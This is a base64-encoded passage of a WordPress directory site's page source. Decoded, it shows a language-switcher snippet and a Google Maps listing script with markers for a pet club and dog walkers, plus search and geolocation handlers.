c2xhdGUobGFuZ19wYWlyKXtpZihsYW5nX3BhaXIudmFsdWUpbGFuZ19wYWlyPWxhbmdfcGFpci52YWx1ZTtpZihsYW5nX3BhaXI9PScnKXJldHVybjt2YXIgbGFuZz1sYW5nX3BhaXIuc3BsaXQoJ3wnKVsxXTtpZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSA9PSBudWxsICYmIGxhbmcgPT0gbGFuZ19wYWlyLnNwbGl0KCd8JylbMF0pcmV0dXJuO3ZhciB0ZUNvbWJvO3ZhciBzZWw9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NlbGVjdCcpO2Zvcih2YXIgaT0wO2k8c2VsLmxlbmd0aDtpKyspaWYoL2dvb2ctdGUtY29tYm8vLnRlc3Qoc2VsW2ldLmNsYXNzTmFtZSkpe3RlQ29tYm89c2VsW2ldO2JyZWFrO31pZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpPT1udWxsfHxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpLmlubmVySFRNTC5sZW5ndGg9PTB8fHRlQ29tYm8ubGVuZ3RoPT0wfHx0ZUNvbWJvLmlubmVySFRNTC5sZW5ndGg9PTApe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb0dUcmFuc2xhdGUobGFuZ19wYWlyKX0sNTAwKX1lbHNle3RlQ29tYm8udmFsdWU9bGFuZztHVHJhbnNsYXRlRmlyZUV2ZW50KHRlQ29tYm8sJ2NoYW5nZScpO0dUcmFuc2xhdGVGaXJlRXZlbnQodGVDb21ibywnY2hhbmdlJyl9fQppZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSAhPSBudWxsKWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5vcHRpb24nKS5maW5kKCdpbWdbYWx0PSInK0dUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpKyciXScpLnBhcmVudCgpLmh0bWwoKSk7fSk7Cjwvc2NyaXB0Pgo8L2Rpdj48L2xpPjwvdWw+PC9uYXY+CgkJPC9uYXY+CgoJPC9kaXY+CjwvaGVhZGVyPgoJCQk8ZGl2IGlkPSJkaXJlY3RvcnktbWFpbi1iYXIiIGRhdGEtY2F0ZWdvcnk9IjAiIGRhdGEtbG9jYXRpb249IjAiIGRhdGEtc2VhcmNoPSIiIGRhdGEtZ2VvbG9jYXRpb249ImZhbHNlIj4KCQkJPC9kaXY+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CnZhciBtYXBEaXYsCgltYXAsCglpbmZvYm94OwpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgltYXBEaXYgPSAkKCIjZGlyZWN0b3J5LW1haW4tYmFyIik7CgljbHVzdGVyRW5hYmxlZCA9IHRydWU7CgltYXBEaXYuaGVpZ2h0KDUwMCkuZ21hcDMoewoJCW1hcDogewoJCQlvcHRpb25zOiB7CgkJCQkiZHJhZ2dhYmxlIjogdHJ1ZQoJCQkJLCJtYXBUeXBlQ29udHJvbCI6IHRydWUKCQkJCSwibWFwVHlwZUlkIjogZ29vZ2xlLm1hcHMuTWFwVHlwZUlkLlJPQURNQVAKCQkJCSwic2Nyb2xsd2hlZWwiOiBmYWxzZQoJCQkJLCJwYW5Db250cm9sIjogdHJ1ZQoJCQkJLCJyb3RhdGVDb250cm9sIjogZmFsc2UKCQkJCSwic2NhbGVDb250cm9sIjogdHJ1ZQoJCQkJLCJzdHJlZXRWaWV3Q29udHJvbCI6IHRydWUKCQkJCSwiem9vbUNvbnRyb2wiOiB0cnVlCgkJCX0KCQkJLGV2ZW50czp7CgkJCQl6b29tX2NoYW5nZWQ6IGZ1bmN0aW9uKG1hcCl7CgkJCQkJY2x1c3RlcmVyID0gbWFwRGl2LmdtYXAzKHsgZ2V0OiB7IG5hbWU6ICJjbHVzdGVyZXIiIH19KTsKCQkJCQlpZiAobWFwLmdldFpvb20oKSA+PSAxOSkgewoJCQkJCQlpZiAoY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5kaXNhYmxlKCk7CgkJCQkJCQljbHVzdGVyRW5hYmxlZCA9IGZhbHNlOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJaWYgKCFjbHVzdGVyRW5hYmxlZCkgewoJCQkJCQkJY2x1c3RlcmVyLmVuYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSxtYXJrZXI6IHsKCQkJdmFsdWVzOiBbCgkJCQkJewoJCQkJCQlsYXRMbmc6IFs0MS44OTA4NTkxLC04Ny42MzU4NDQwMDAwMDAwMl0sCgkJCQkJCW9wdGlvbnM6IHsKCQkJCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvbWFya2VyX3NxdWFyZWRfeWVsbG93LnBuZyIsCgkJCQkJCQlzaGFkb3c6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCQkJfSwKCQkJCQkJZGF0YTogCSc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj4nKwoJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQgd2l0aC1pbWFnZSI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9kZWZhdWx0LXBvc3QtaW1hZ2UuanBnIiBhbHQ9IiI+JysKCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJ0aXRsZSI+JysiUFVQUyBQZXQgQ2x1YiIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InJhdGluZyI+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIGFjdGl2ZSI+PC9kaXY+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIGFjdGl2ZSI+PC9kaXY+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIj48L2Rpdj4nKwoJCQkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InN0YXIiPjwvZGl2PicrCgkJCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0ic3RhciI+PC9kaXY+JysKCQkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysiMzE2IFcgSWxsaW5vaXMgU3Q8YnIgXC8+XG5DaGljYWdvLCBJTCA2MDY1NCIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLWl0ZW09cHVwcy1wZXQtY2x1YiIgY2xhc3M9Im1vcmUtYnV0dG9uIj4nICsgIlZJRVcgTU9SRSIgKyAnPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfSwKCQkJCQl7CgkJCQkJCWxhdExuZzogWzM3Ljc5MTI4NTU5OTk5OTk5LC0xMjIuMzkzNzAwNzAwMDAwMDFdLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2NvbXBhbnkucG5nIiwKCQkJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJkb2cgd2Fsa2VyIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysiMTU1IG1haW4gc3RyZWV0ICBzYW4gZnJhbnNpY28iKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2Rpci1pdGVtPWRvZy13YWxrZXItMiIgY2xhc3M9Im1vcmUtYnV0dG9uIj4nICsgIlZJRVcgTU9SRSIgKyAnPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfSwKCQkJCQl7CgkJCQkJCWxhdExuZzogWzQyLjA5NDY1MiwtNzIuNzQ1MzkzOTk5OTk5OThdLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2NvbXBhbnkucG5nIiwKCQkJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJEb2cgV2Fsa2VyIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysiMTAzNyBzaGFrZXIgcm9hZDxiciBcLz5cbndlc3RmaWVsZCIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLWl0ZW09ZG9nLXdhbGtlciIgY2xhc3M9Im1vcmUtYnV0dG9uIj4nICsgIlZJRVcgTU9SRSIgKyAnPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfQoJCQldLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CgkJCX0sCgkJCWV2ZW50czogewoJCQkJY2xpY2s6IGZ1bmN0aW9uKG1hcmtlciwgZXZlbnQsIGNvbnRleHQpewoJCQkJCXZhciBtYXAgPSBqUXVlcnkodGhpcykuZ21hcDMoImdldCIpOwoJCQkJCWpRdWVyeSgiI2RpcmVjdG9yeS1tYWluLWJhciIpLmZpbmQoJy5pbmZvQm94JykucmVtb3ZlKCk7CgkJCQkJaWYoY29udGV4dC5kYXRhICE9ICJkaXNhYmxlZCIpewoKCQkJCQkJdmFyIGluZm9Cb3hPcHRpb25zID0gewoJCQkJCQkJY29udGVudDogY29udGV4dC5kYXRhLAoJCQkJCQkJZGlzYWJsZUF1dG9QYW46IGZhbHNlLAoJCQkJCQkJbWF4V2lkdGg6IDE1MCwKCQkJCQkJCXBpeGVsT2Zmc2V0OiBuZXcgZ29vZ2xlLm1hcHMuU2l6ZSgtNTAsIC02NSksCgkJCQkJCQlib3hTdHlsZTogewoJCQkJCQkJCXdpZHRoOiAiMjkwcHgiCgkJCQkJCQl9LAoJCQkJCQkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCQkJCQkJY2xvc2VCb3hVUkw6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJCQkJCQkvLyBlbmFibGVFdmVudFByb3BhZ2F0aW9uOiB0cnVlLAoJCQkJCQkJaW5mb0JveENsZWFyYW5jZTogbmV3IGdvb2dsZS5tYXBzLlNpemUoMSwgMSksCgkJCQkJCQlwb3NpdGlvbjogbWFya2VyLnBvc2l0aW9uCgkJCQkJCX07CgkJCQkJCWluZm9ib3ggPSBuZXcgSW5mb0JveChpbmZvQm94T3B0aW9ucyk7CgoJCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgkJCQkJfQoJCQkJCW1hcC5wYW5UbyhtYXJrZXIuZ2V0UG9zaXRpb24oKSk7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJIAl9LCJhdXRvZml0Iik7CgoJbWFwID0gbWFwRGl2LmdtYXAzKCJnZXQiKTsKCWluZm9ib3ggPSBuZXcgSW5mb0JveCh7CgkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQljbG9zZUJveFVSTDogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9wb3BfdXAtY2xvc2UucG5nIiwKCQlib3hTdHlsZTogewoJCQl3aWR0aDogIjI5MHB4IgoJCX0sCgkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCWVuYWJsZUV2ZW50UHJvcGFnYXRpb246IGZhbHNlCgl9KTsKCglpZiAoTW9kZXJuaXpyLnRvdWNoKXsKCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCXZhciBkcmFnZ2FibGVDbGFzcyA9ICdpbmFjdGl2ZSc7CgkJdmFyIGRyYWdnYWJsZVRpdGxlID0gIkFjdGl2YXRlIG1hcCI7CgkJdmFyIGRyYWdnYWJsZUJ1dHRvbiA9ICQoJzxkaXYgY2xhc3M9ImRyYWdnYWJsZS10b2dnbGUtYnV0dG9uICcrZHJhZ2dhYmxlQ2xhc3MrJyI+JytkcmFnZ2FibGVUaXRsZSsnPC9kaXY+JykuYXBwZW5kVG8obWFwRGl2KTsKCQlkcmFnZ2FibGVCdXR0b24uY2xpY2soZnVuY3Rpb24gKCkgewoJCQlpZigkKHRoaXMpLmhhc0NsYXNzKCdhY3RpdmUnKSl7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKS5hZGRDbGFzcygnaW5hY3RpdmUnKS50ZXh0KCJBY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogZmFsc2UgfSk7CgkJCX0gZWxzZSB7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdpbmFjdGl2ZScpLmFkZENsYXNzKCdhY3RpdmUnKS50ZXh0KCJEZWFjdGl2YXRlIG1hcCIpOwoJCQkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiB0cnVlIH0pOwoJCQl9CgkJfSk7Cgl9CgovLyBsb2FkaW5nIHNwaW5uZXIKdmFyIG9wdHMgPSB7CglsaW5lczogMTMsIC8vIFRoZSBudW1iZXIgb2YgbGluZXMgdG8gZHJhdwoJbGVuZ3RoOiA5LCAvLyBUaGUgbGVuZ3RoIG9mIGVhY2ggbGluZQoJd2lkdGg6IDksIC8vIFRoZSBsaW5lIHRoaWNrbmVzcwoJcmFkaXVzOiAyNywgLy8gVGhlIHJhZGl1cyBvZiB0aGUgaW5uZXIgY2lyY2xlCgljb3JuZXJzOiAxLCAvLyBDb3JuZXIgcm91bmRuZXNzICgwLi4xKQoJcm90YXRlOiAwLCAvLyBUaGUgcm90YXRpb24gb2Zmc2V0Cgljb2xvcjogJyNGRkYnLCAvLyAjcmdiIG9yICNycmdnYmIKCXNwZWVkOiAxLjgsIC8vIFJvdW5kcyBwZXIgc2Vjb25kCgl0cmFpbDogODEsIC8vIEFmdGVyZ2xvdyBwZXJjZW50YWdlCglzaGFkb3c6IHRydWUsIC8vIFdoZXRoZXIgdG8gcmVuZGVyIGEgc2hhZG93Cglod2FjY2VsOiBmYWxzZSwgLy8gV2hldGhlciB0byB1c2UgaGFyZHdhcmUgYWNjZWxlcmF0aW9uCgljbGFzc05hbWU6ICdzcGlubmVyJywgLy8gVGhlIENTUyBjbGFzcyB0byBhc3NpZ24gdG8gdGhlIHNwaW5uZXIKCXpJbmRleDogMmU5LCAvLyBUaGUgei1pbmRleCAoZGVmYXVsdHMgdG8gMjAwMDAwMDAwMCkKCXRvcDogJ2F1dG8nLCAvLyBUb3AgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4CglsZWZ0OiAnYXV0bycgLy8gTGVmdCBwb3NpdGlvbiByZWxhdGl2ZSB0byBwYXJlbnQgaW4gcHgKfTsKCnZhciB0YXJnZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyZWN0b3J5LW1haW4tYmFyJyksCglzcGlubmVyID0gbmV3IFNwaW5uZXIob3B0cykuc3Bpbih0YXJnZXQpLAoJc3Bpbm5lckRpdiA9IG1hcERpdi5maW5kKCcuc3Bpbm5lcicpOwoKdmFyIHNlYXJjaCA9ICQoJyNkaXJlY3Rvcnktc2VhcmNoJyksCglzZWFyY2hJbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLAoJc2VhcmNoU3VibWl0ID0gJCgnI2Rpci1zZWFyY2hzdWJtaXQnKSwKCWNhdGVnb3J5SW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JyksCglsb2NhdGlvbklucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLAoJZ2VvSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLAoJZ2VvSW5wdXRSYWRpdXMgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1yYWRpdXMnKSwKCWdlb0lucHV0TGF0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tbGF0JyksCglnZW9JbnB1dExuZyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxuZycpOwoKZnVuY3Rpb24gc2hvd0xvYWRpbmcoZGlzYWJsZVN1Ym1pdCkgewoJdmFyIHRvcFBvc2l0aW9uID0gbWFwRGl2LmhlaWdodCgpIC8gMjsKCXNwaW5uZXJEaXYuY3NzKCd0b3AnLHRvcFBvc2l0aW9uKydweCcpLmZhZGVJbigpOwoJaWYgKGRpc2FibGVTdWJtaXQpIHsKCQlzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCB0cnVlKTsKCX0KfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKSB7CglzcGlubmVyRGl2LmZhZGVPdXQoKTsKCXNlYXJjaFN1Ym1pdC5hdHRyKCdkaXNhYmxlZCcsIGZhbHNlKTsKfQoKLy8gc2V0IGludGVyYWN0aXZlIHNlYXJjaAppZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CglzZWFyY2hJbnB1dC50eXBlV2F0Y2goewoJCWNhbGxiYWNrOiBmdW5jdGlvbigpIHsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfSwKCQl3YWl0OiA1MDAsCgkJaGlnaGxpZ2h0OiBmYWxzZSwKCQljYXB0dXJlTGVuZ3RoOiAwCgl9KTsKCgljYXRlZ29yeUlucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsdWkuaXRlbS52YWx1ZSxmYWxzZSk7Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZXNlbGVjdCIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSxmYWxzZSx1aS5pdGVtLnZhbHVlKTsKCX0pOwoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlY2xvc2UiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWlmKCQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKSA9PSAnMCcpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cn0KCiQoJyNkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MgLmljb24nKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykudG9nZ2xlKCk7Cn0pOwoKJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQtY2xvc2UnKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykuaGlkZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkIC52YWx1ZS1zbGlkZXInKS5zbGlkZXIoewoJdmFsdWU6IGdlb0lucHV0UmFkaXVzLnZhbCgpLAoJbWluOiAxLAoJbWF4OiAzMDAsCglzdGVwOiAxLAoJY2hhbmdlOiBmdW5jdGlvbihldmVudCwgdWkpIHsKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyAmJiBnZW9JbnB1dC5pcygnOmNoZWNrZWQnKSl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0sCglzbGlkZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJZ2VvSW5wdXRSYWRpdXMudmFsKHVpLnZhbHVlKTsKCX0KfSk7CgovLyBHZW9sb2NhdGlvbgoKZ2VvSW5wdXQuRmFuY3lDaGVja2JveCgpOwoKZnVuY3Rpb24gZW5hYmxlR2VvKCkgewoJZ2VvSW5wdXQuYXR0cignY2hlY2tlZCcsIHRydWUpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvZmYnKS5hZGRDbGFzcygnb24nKTsKfQoKZnVuY3Rpb24gZGlzYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCBmYWxzZSk7CglnZW9JbnB1dC5uZXh0KCkucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwp9CgoJaWYoZ2VvSW5wdXQuaXMoIjpjaGVja2VkIikpIHsKCgkJLy8gZW5hYmxlIGFmdGVyIHVzZXIgYWxsb3cgZ2VvbG9jYXRpb24KCQlkaXNhYmxlR2VvKCk7CgkJc2hvd0xvYWRpbmcodHJ1ZSk7CgoJCWlmIChuYXZpZ2F0b3IuZ2VvbG9jYXRpb24pIHsKCQkJbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihmdW5jdGlvbihwb3NpdGlvbikgewoKCQkJCWdlb0lucHV0TGF0LnZhbChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpOwoJCQkJZ2VvSW5wdXRMbmcudmFsKHBvc2l0aW9uLmNvb3Jkcy5sb25naXR1ZGUpOwoKCQkJCWVuYWJsZUdlbygpOwoKCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9CgpnZW9JbnB1dC5vbigiY2hhbmdlIixmdW5jdGlvbihldmVudCkgewoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVu